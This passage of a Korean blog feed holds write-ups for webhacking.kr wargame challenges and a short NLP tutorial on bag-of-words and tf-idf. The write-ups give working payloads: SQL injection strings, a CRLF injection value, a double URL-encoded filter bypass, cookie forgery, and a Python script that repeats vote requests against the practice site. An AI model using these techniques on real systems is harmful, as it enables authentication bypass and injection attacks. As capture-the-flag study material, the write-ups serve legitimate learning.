<p>id 쳐보니까 root 권한이라 flag 치니까 안된다. root 권한을 뭐로 아는지 모르겠다.</p>
<p>코드를 봐보니</p>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/fb2d756a-6e49-4aed-b1c4-530fbb3f0677/image.png" alt=""></p>
<p>대충 socket 열어서 <code>username:command</code> 이런 느낌으로 구성되어 있다.</p>
<p>username으로 검사를 하는 것 같으니 시나리오는 </p>
<ol>
<li>nsername을 admin으로 하고</li>
<li>#m 으로 받아가는걸 단순하게 flag 명령으로 바꾸면 될 것 같다.</li>
</ol>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/0f943987-8345-4fe0-a503-655abe154e4e/image.png" alt=""></p>
<p>그대로 복사해서 콘솔에 붙여넣기 하고 몇 개만 좀 손 봐주자.</p>
<p>그리고 flag를 쉘 프롬프트(?)에 입력하면 </p>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/4af0f06c-2880-4194-9b3f-30271f5051d6/image.png" alt=""></p>
<p>요로코롬 위에는 기존 guest로 설정된 socket의 response가, 아래에는 새로 username을 admin으로 설정한 socket의 response로 FLAG가 나온다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[WEBHACKINGKR-old32]]></title>
            <link>https://velog.io/@ki--mh/WEBHACKINGKR-old32</link>
            <guid>https://velog.io/@ki--mh/WEBHACKINGKR-old32</guid>
            <pubDate>Sat, 10 Aug 2024 18:24:57 GMT</pubDate>
            <description><![CDATA[<h1 id="old-32">old-32</h1>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/978167fa-7e79-4411-86a4-b052c50ca185/image.png" alt=""></p>
<p>화면 보고 뭐지 싶지만 그냥 hit이 100이 되면 풀 수 있는 문제 같다.</p>
<p>내 이름이 100이 되어야 한다.</p>
<p>내 이름 보면 한 번 클릭하고 나서 이후에 editthiscookie로 보면 vote_check cookie가 생긴다. 그리고 다시 내 이름 클릭하면 이미 투표했다고 나온다. 이걸 지워주고 다시 투표를 하면 쭉 올릴 수 있는데 이 작업 100번 할거면 코딩 접어야 된다.</p>
<p>PHPSESSID를 쿠키에 입력시켜주고 vote_check를 무시하면서 <code>hit=닉네임</code> 파라미터를 넣어주는 걸 100회 반복하는 코드를 단순하게 짜면 된다.</p>
<pre><code class="language-python">import requests

def vote(payload):
    data = {&quot;PHPSESSID&quot;: &quot;your_PHPSESSID&quot;} #vote_check 없이 짜면, 그냥 vote_check 무시함.
    res = requests.get(&quot;https://webhacking.kr/challenge/code-5/&quot;+payload, cookies=data)

    for i in range(0, 100):
        res = requests.get(&quot;https://webhacking.kr/challenge/code-5/&quot;+payload, cookies=data)
    if &quot;Pwned&quot; in res.text:
        print(&quot;Pwned&quot;) #아마 Pwned 가 아니라서 안뜰거임

if __name__ == &quot;__main__&quot;:
    payload = &quot;?hit=your_ID&quot;
    vote(payload)</code></pre>
<p>코드 실행하고 좀 있다가 F5 해주면 solve 된다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[WEBHACKINGKR-old06]]></title>
            <link>https://velog.io/@ki--mh/WEBHACKINGKR-old06</link>
            <guid>https://velog.io/@ki--mh/WEBHACKINGKR-old06</guid>
            <pubDate>Sat, 10 Aug 2024 18:22:05 GMT</pubDate>
            <description><![CDATA[<h1 id="old-06">old-06</h1>
<p>id랑 비밀번호 입력하는 것 같은데, 딱히 코드에 정보가 없으니 코드를 보자.</p>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/3ca717e3-381b-4d19-ad05-e12c87d52ed6/image.png" alt=""></p>
<p>decode_id 에서 replace가 있고, base64로 디코드를 20번 한다. 디코드가 다 끝났을 때 id가 admin, pw가 nimda면 이지하게 풀 수 있는 문제다.</p>
<p>시나리오가 나왔으니 한 번 풀어보자.</p>
<ol>
<li>admin, nimda 문자열 base64 encode 20번</li>
<li>cookie로 user와 passwd를 받아오니 editthiscookie로 바꿔서 입력 해주고 새로고침</li>
</ol>
<pre><code class="language-python">import base64

decode_id = &quot;admin&quot;
decode_pw = &quot;nimda&quot;

bytes_id = decode_id.encode(&#39;utf-8&#39;)
bytes_pw = decode_pw.encode(&#39;utf-8&#39;)

for i in range(0,20):
    bytes_id = base64.b64encode(bytes_id)
    bytes_pw = base64.b64encode(bytes_pw)


print(bytes_id) #user
print(bytes_pw) #password

for i in range(0,20):
    bytes_id = base64.b64decode(bytes_id)
    bytes_pw = base64.b64decode(bytes_pw)

print(bytes_id) #admin인지 체크
print(bytes_pw) #nimda인지 체크</code></pre>
<p>user랑 password 쿠키 변조해주고 새로고침하면 solve 된다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[WEBHACKINKR-old39]]></title>
            <link>https://velog.io/@ki--mh/WEBHACKINKR-old39</link>
            <guid>https://velog.io/@ki--mh/WEBHACKINKR-old39</guid>
            <pubDate>Sat, 10 Aug 2024 18:19:49 GMT</pubDate>
            <description><![CDATA[<h1 id="old-39">old-39</h1>
<p>첫 화면에 아무 것도 없으니 바로 코드부터 봐주자.</p>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/aa173c4c-4502-4123-8db6-5777fc85e9f5/image.png" alt=""></p>
<p>replace(\, ‘) 하고 있다. id를 선택해야 되는데 58000프로의 확률로 admin일 것이다.</p>
<p><code>select 1 from member where length(id)&lt;14 and id=&#39;{$_POST[&#39;id&#39;]}</code> 의 코드에서 <code>‘</code> 를 <code>‘’</code> 로 바꾸고 있으니, 따옴표를 잘 닫는게 포인트일 것이다.</p>
<p>조건상 14자리만 코드를 받으니까, 사실 좀만 생각하면 이지피지 레몬 스퀴지가 따로 없다.</p>
<p><code>admin         ‘</code> 이렇게 admin 넣고 자리수 맞춰서 스페이스 넣고 마지막에  싱글쿼터 하나 넣어주면 자리 수 때문에 replace된 싱글쿼터 하나가 짤려서 solve 된다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[WEBHACKINGKR-old38]]></title>
            <link>https://velog.io/@ki--mh/WEBHACKINGKR-old38</link>
            <guid>https://velog.io/@ki--mh/WEBHACKINGKR-old38</guid>
            <pubDate>Sat, 10 Aug 2024 18:15:55 GMT</pubDate>
            <description><![CDATA[<h1 id="old-38">old-38</h1>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/e22d124a-e2d6-4585-a568-331774365e40/image.png" alt=""></p>
<p>대충 어드민 페이지가 있음을 코드 보고 알 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/140d01da-7cf6-48ba-bd41-77bd47afd582/image.png" alt=""></p>
<p>음 로그인 하면 그 로그가 여기에 남는데, login해서 이런 필터링 안 걸리게 하는 문제인 것 같다.</p>
<p>이럴 때 사용할만한 게 CRLF injection 기법이다.</p>
<h2 id="crlf-injection">CRLF Injection</h2>
<ul>
<li>CRLF injection기법은 CR(\r) LF(\n)을 이용하여 HTTP request 또는 Response를 분리하여 공격자가 의도한 동작을 수행시키는 공격 기법을 말한다.</li>
<li>CR → (char) \r, (ASCII) 13, (URL) %0D</li>
<li>LF → (char) \n, (ASCII) 10, (URL) %0A</li>
</ul>
<p>우리가 의도하고자 하는 동작은 <code>아이피:admin</code> 의 형태이므로 injection할 구문은 <code>guest%0d%0aIP:admin</code> 가 된다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[WEBHACKINGKR-old14]]></title>
            <link>https://velog.io/@ki--mh/WEBHACKINGKR-old14</link>
            <guid>https://velog.io/@ki--mh/WEBHACKINGKR-old14</guid>
            <pubDate>Sat, 10 Aug 2024 18:14:22 GMT</pubDate>
            <description><![CDATA[<h1 id="old-14">old-14</h1>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/729f9ae1-2b84-432a-ad4b-123fc98ba6c6/image.png" alt=""></p>
<p>사실 이 문제도 전 문제와 같이  console에 코드 복붙을 해주면 되는데. ul 값을 구하라는 코드 같다.</p>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/a9ad1184-6ac2-47de-a80e-ba2b6ab90fdb/image.png" alt=""></p>
<p>ul 나오는 것만 코드에서 복사해서 붙여 넣어주면 ul값을 알 수 있다.</p>
<p>입력하고 check 해주면 문제가 풀린다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[WEBHACKINGKR-old16]]></title>
            <link>https://velog.io/@ki--mh/WEBHACKINGKR-old16</link>
            <guid>https://velog.io/@ki--mh/WEBHACKINGKR-old16</guid>
            <pubDate>Sat, 10 Aug 2024 18:12:24 GMT</pubDate>
            <description><![CDATA[<h1 id="old-16">old-16</h1>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/a4c280f0-4b5d-4dec-83ba-afd8c5e0f102/image.png" alt=""></p>
<p>바로 코드부터 보면 사진 상에서 나와있지 않지만 바로 위에서 <code>mv(event.keyCode)</code> 가 있다.  즉, 키보드에서 입력 받은 값을 가져오는 것이다. 보니 cd인 값이 124면 된다고 한다.</p>
<p>이럴 땐 파이썬을 이용하면 편하다. cmd 들어가서 python 켜주고 chr(124) 해주면 알 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/78c727f9-52d9-4f45-a7e0-c2363c7bc775/image.png" alt=""></p>
<p>페이지에서 <code>|</code> 입력하면 solve 된다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[WEBHACKINGKR-old17]]></title>
            <link>https://velog.io/@ki--mh/WEBHACKINGKR-old17</link>
            <guid>https://velog.io/@ki--mh/WEBHACKINGKR-old17</guid>
            <pubDate>Sat, 10 Aug 2024 18:11:09 GMT</pubDate>
            <description><![CDATA[<h1 id="old-17">old-17</h1>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/eb418a8e-a64b-4253-97c6-f27168070706/image.png" alt=""></p>
<p>스크립트 까보니까 수식 결과 값이 unlock 이라고 한다.</p>
<p>이럴 때는 굳이 귀찮게 계산기나 코드 짜지 말고, </p>
<p>저거 코드 그대로 복사 해서 console에서 계산 때리면 된다.</p>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/639dddc1-b17f-4208-8113-d30c3ef675a0/image.png" alt=""></p>
<p>저 값을 그대로 입력해주면 solve 된다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[WEBHACKINGKR-old18]]></title>
            <link>https://velog.io/@ki--mh/WEBHACKINGKR-old18</link>
            <guid>https://velog.io/@ki--mh/WEBHACKINGKR-old18</guid>
            <pubDate>Sat, 10 Aug 2024 18:09:46 GMT</pubDate>
            <description><![CDATA[<h1 id="old-18">old-18</h1>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/dd7ceb44-96c2-4a38-8f5c-8dded4df1856/image.png" alt=""></p>
<p>대충 sqli 라고 알려주는 페이지다. 리얼 월드라면 하나하나 해봐야 알겠지만, 소스 볼 수 있으니 소스를 한 번 봐보자.</p>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/8fb6a17d-4d5d-43ce-a119-8d7084c4ff1f/image.png" alt=""></p>
<p><code>mysqli_fetch_array(mysqli_query($db,&quot;select id from chall18 where id=&#39;guest&#39; and no=$_GET[no]&quot;))</code> 를 admin으로 만드려면 admin no = 2라고 했으니까 no를 2로 만들어 주면 된다.</p>
<p>id가 게스트니까, no=0을 만들어 주고 or 로 no = 2 만들어주면 문제에서 좋아 죽을 것 같다.</p>
<p>근데 필터링에 <code></code> 가 있으니까 url인코딩  해서 우회하면 되겠지? 할 수 있는데, 애초에 url decode를 해서 넘어가므로 소용이 없다.</p>
<p>그래서 공백 대신에 사용할 수 있는 알아두면 좋은 코드가  <code>%0a</code> 이다.</p>
<p>그럼 익스는 <code>?no=0%0aor%0ano=2</code> 넘겨주면 된다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[WEBHACKINGKR-old26]]></title>
            <link>https://velog.io/@ki--mh/WEBHACKINGKR-old26</link>
            <guid>https://velog.io/@ki--mh/WEBHACKINGKR-old26</guid>
            <pubDate>Sat, 10 Aug 2024 18:07:19 GMT</pubDate>
            <description><![CDATA[<h1 id="old-26">old-26</h1>
<p>들어가면 view source 밖에 없다 그냥 소스 봐준다.</p>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/74a8b0d9-16ac-46b4-8465-8e186a59e905/image.png" alt=""></p>
<ol>
<li><code>_GET[’id’]</code>  가 admin이면 solved 된다. </li>
<li>preg_match로 <code>/admin/</code>을 필터링 하고있다.</li>
<li>urldecode 코드가 아래서 동작하고 있으니</li>
<li>id를 url encode로 두 번 때려서 보내면 마지막 if 문에서는 id 값이 admin이 됨을 알 수 있다.</li>
</ol>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/e8bb77a6-833d-4f0f-b924-9f3fc3551c97/image.png" alt=""></p>
<p>burp suite 사용해서 encode 두 번 해준다.</p>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/5b006804-d722-41a3-b752-f52c3b689149/image.png" alt=""></p>
<p>?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65</p>
<p>로 파라미터 전달 해주면 solve 된다 .</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[WEBHACKINGKR-old24]]></title>
            <link>https://velog.io/@ki--mh/WEBHACKINGKR-old24</link>
            <guid>https://velog.io/@ki--mh/WEBHACKINGKR-old24</guid>
            <pubDate>Sat, 10 Aug 2024 18:05:22 GMT</pubDate>
            <description><![CDATA[<h1 id="old-24">old-24</h1>
<p>client ip랑 agent의 종류가 나와있다.</p>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/7d7b7048-af14-40f4-ab9a-829d6056dfb4/image.png" alt=""></p>
<p>딱히 여기서 알 수 있는게 보이지 않으니 source 를 봐주자.</p>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/fc5ffd33-ec77-4647-8341-8fbab195e1db/image.png" alt=""></p>
<ol>
<li><code>ip == 127.0.0.1</code>  이면 solve다.</li>
<li>ip 는 $REMOTE_ADDR 이라는 cookie 값으로 결정된다.</li>
<li>str_replace 로 ip를 바꿔주고 있다.</li>
</ol>
<p>replace 고려해서 짜주면 <code>112277...00...00...1</code> 이다.</p>
<p>editthiscookie 사용해서 </p>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/206c21fa-084b-4a71-bcdc-c2b9d69580ea/image.png" alt=""></p>
<ol>
<li>REMOTE_ADDR 쿠키 만들어주고,</li>
<li>값으로 <code>112277...00...00...1</code> 넣어주면 solve 된다.</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[WEBHACKING-old15]]></title>
            <link>https://velog.io/@ki--mh/WEBHACKING-old15</link>
            <guid>https://velog.io/@ki--mh/WEBHACKING-old15</guid>
            <pubDate>Sat, 10 Aug 2024 18:03:03 GMT</pubDate>
            <description><![CDATA[<h1 id="old-15">old-15</h1>
<p>FLAG🏴 : {■■■■■■■■■■■■■■■■■■■}</p>
<p>들어가자 마자 권한이 없다고 한다.</p>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/1b738c72-e987-4a16-82e9-3cf6e758082b/image.png" alt=""></p>
<p>js가 실행되면서 문제가 생기는건데, chrome 설정에서 javascript를 쳐주고 사이트 설정에 들어간 후 콘텐츠의 자바스크립트를 사용할 수 없음으로 설정해주면 풀린다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[WEBHACKINGKR-old54]]></title>
            <link>https://velog.io/@ki--mh/WEBHACKINGKR-old54</link>
            <guid>https://velog.io/@ki--mh/WEBHACKINGKR-old54</guid>
            <pubDate>Sat, 03 Aug 2024 11:29:49 GMT</pubDate>
            <description><![CDATA[<h1 id="old-54">old-54</h1>
<p>FLAG🏴 : {■■■■■■■■■■■■■■■■■■■}</p>
<p>Password Is F → ? 까지 글자가 순서대로 바뀌면서 지나가는 걸 알 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/62d04f24-7e41-4940-a86d-4fbc509840c9/image.png" alt=""></p>
<p>대충 로고 아이콘이 슬라이드 처럼 지나간다.</p>
<p>네트워크 들어가서 어떻게 페이지에서 변화가 찍히는지 확인할 수 있으므로 network에 들어가서 슬라이드 로고가 지나가는 것을 보면</p>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/bf91183c-bd71-4563-a6b2-1b7891e8ecac/image.png" alt=""></p>
<p>플래그가 담긴 슬라이드의 변화가 담긴 요청들을 볼 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/75962ef8-dda7-4b24-ad03-b61c7b136b94/image.png" alt=""></p>
<p>Preview로 페이지 인코딩 해주면서 플래그 확인할 수 있다. 하나하나 입력하니 플래그 입력 가능 ~</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[NLP] 컴퓨터, 언어]]></title>
            <link>https://velog.io/@ki--mh/NLP-%EC%BB%B4%ED%93%A8%ED%84%B0-%EC%96%B8%EC%96%B4</link>
            <guid>https://velog.io/@ki--mh/NLP-%EC%BB%B4%ED%93%A8%ED%84%B0-%EC%96%B8%EC%96%B4</guid>
            <pubDate>Sat, 17 Feb 2024 15:58:58 GMT</pubDate>
            <description><![CDATA[<h1 id="vocabulary">Vocabulary</h1>
<p>컴퓨터는 어떻게 우리가 보는 세상의 데이터를 숫자를 통해 인지한다.
그리고 컴퓨터는 vector를 통해 단어를 숫자로 표현한다.</p>
<p>컴퓨터의 단어들을 vector로 표현하기 위해서는 단어장(vocabulary)를 만들어야 한다.
단순하게 단어장이라고 하면, </p>
<pre><code>vocab = [data, AI, book, Algorithms]</code></pre><p>이런 형식의 단어장을 만들 수 있다. 
이런 단어장에 idx 번호가 붙여지는 것이고, 이런 idx 번호를 가지고 vector로서 단어를 표현할 수 있는 것이다.</p>
<h1 id="one-hot-vector">One-hot vector</h1>
<p>one-hot vector를 설명하기 전에, column vector에 대해 알아야할 필요성이 있다.</p>
<ul>
<li>column vector는 Nx1 matrix로 숫자 N개를 기둥처럼 세워둔 것이다.</li>
</ul>
<p>위에서 본 idx를 어떻게 column vector로 표현할 수 있을까 ?
<img src="https://velog.velcdn.com/images/ki--mh/post/7422601a-fe92-401c-a59f-7992e5d97bf5/image.png" alt=""></p>
<p>위의 그림처럼 id x번째 열을 1로 채우고 나머지는 0으로 채우면 만들어진다.
단어장에 없는 단어의 표현은 idx 0을 사용한다.</p>
<p>위의 사진처럼 모든 단어장의 단어를 vector화 시킨게 one-hot vector이다.</p>
<h1 id="using-word-frequency">Using Word Frequency</h1>
<p>자주 쓰이는 단어를 사용해 vocabulary를 구성합니다. 너무 빈도수가 적은 것은 사용하지 않는다던가 빈도수가 많은 단어만을 사용해 단어장을 구성하는 형식이죠.</p>
<ul>
<li>corpus : NLP에서 끌어모은 데이터</li>
</ul>
<p>즉, corpus안에 단어 빈도수에 맞춰 단어장을 구성하는 방식들을 소개하고자 합니다.</p>
<h3 id="bowbag-of-words">BoW(Bag-of-Words)</h3>
<p>Bow vector는 단어의 순서를 고려하지 않고 그냥 모아서 섞어 버리는 것을 말합니다.
단순히 여러 개의 단어를 합하여 문장을 표현한 것입니다.</p>
<ul>
<li>one-hot vector를 합쳐 한 문장을 한 개의 column vector로 표현한 것이 BoW vector.</li>
</ul>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/3b3e0796-86dc-4e65-98ad-26fd54add64a/image.png" alt="">
&lt;출처 : <a href="https://web.stanford.edu/~jurafsky/slp3/4.pdf&gt;">https://web.stanford.edu/~jurafsky/slp3/4.pdf&gt;</a></p>
<h3 id="n-gram">N-gram</h3>
<ul>
<li>n-gram은 연속된 n개의 단어 뭉치를 뜻합니다.<blockquote>
<p>&quot;I will pray for you&quot; 에서 나타나는 bi-gram(n=2)는 [I will, will pray, pay for, you]가 됩니다.</p>
</blockquote>
</li>
</ul>
<p>n-gram으로 BoW를 만든다고 생각해봅시다. 단순하게 생각하더라도 n의 갯수가 커지면 vocabulary 크기가 많이 커지겠죠?
그래서 보통 n은 2~3정도로 설정해서 사용합니다.</p>
<p>n-gram은 추후 더욱이 많이 설명할 예정입니다.</p>
<h3 id="tf-idf-vector">tf-idf vector</h3>
<ul>
<li>term ferquency - inverse document frequency는 단어 간 빈도 수에 따라 중요도를 계산하는 방법입니다.</li>
</ul>
<p>학습 데이터가 크면, 자주 쓰이는 단어가 많아집니다. 하지만 많이 쓰였다고 문장의 주제 파악에 중요한 것은 아닙니다.</p>
<ul>
<li>주제 파악에 그리 중요하지 않은 관사나 대명사를 stopword라고 합니다.</li>
</ul>
<p>그래서 tf-idf vector에는 tf-idf score가 있습니다.</p>
<ul>
<li>term frequency(tf) : 현재 문서(문장)에서 단어의 빈도수</li>
<li>document frequency(df) : 해당 단어가 나오는 문서(문장) 총 개수
를 의미합니다.</li>
</ul>
<p>이제 생각해봅시다.
stopword들은 tf와 df가 둘 다 굉장히 높게 나타날 것입니다.
반대로 주제 단어와 같은 것들은 tf가 높을 수는 있겠지만, df는 상대적으로 낮을 것입니다.</p>
<p>그래서 tf-idf score는 다음과 같이 계산됩니다.
<img src="https://velog.velcdn.com/images/ki--mh/post/0141bafe-d7cf-4d6b-a7e8-5313acce1284/image.png" alt="">
(N : 전체 문서(문장)의 개수)</p>
<ul>
<li>즉, tf-idf vector는  Nx1 vector 모양의 BoW vector에서 tf score를 idf score로 nomalize한 것 입니다.</li>
</ul>
<h1 id="bow-tf-idf-vector의-단점">BoW, tf-idf vector의 단점</h1>
<ul>
<li>문장의 순서가 관계가 없는 topic classification이나 document retrieval같은 일에 강점을 보이지만, 번역과 같이 어순이 중요한 일에는 단점을 가집니다.</li>
<li>vocabulary가 커지면, vector의 사이즈는 커집니다. one-hot vector부터 시작되는 고질적인 문제인데 Nx1 column vector로 표현하기 때문에, 크기가 어마어마 하게 커져 사용하기 힘듭니다. (이런 matrix를 sparse matrix라고 함.)</li>
<li>당연하게도 단어간의 관계를 표현하지 못합니다.</li>
</ul>
<p>가벼운 NLP 문제들에서는 심플한 방식이 먹힐 때가 있습니다. 잘 알아둔 후 때에 맞게 선택하시길 바랍니다.</p>
]]></description>
        </item>
    </channel>
</rss>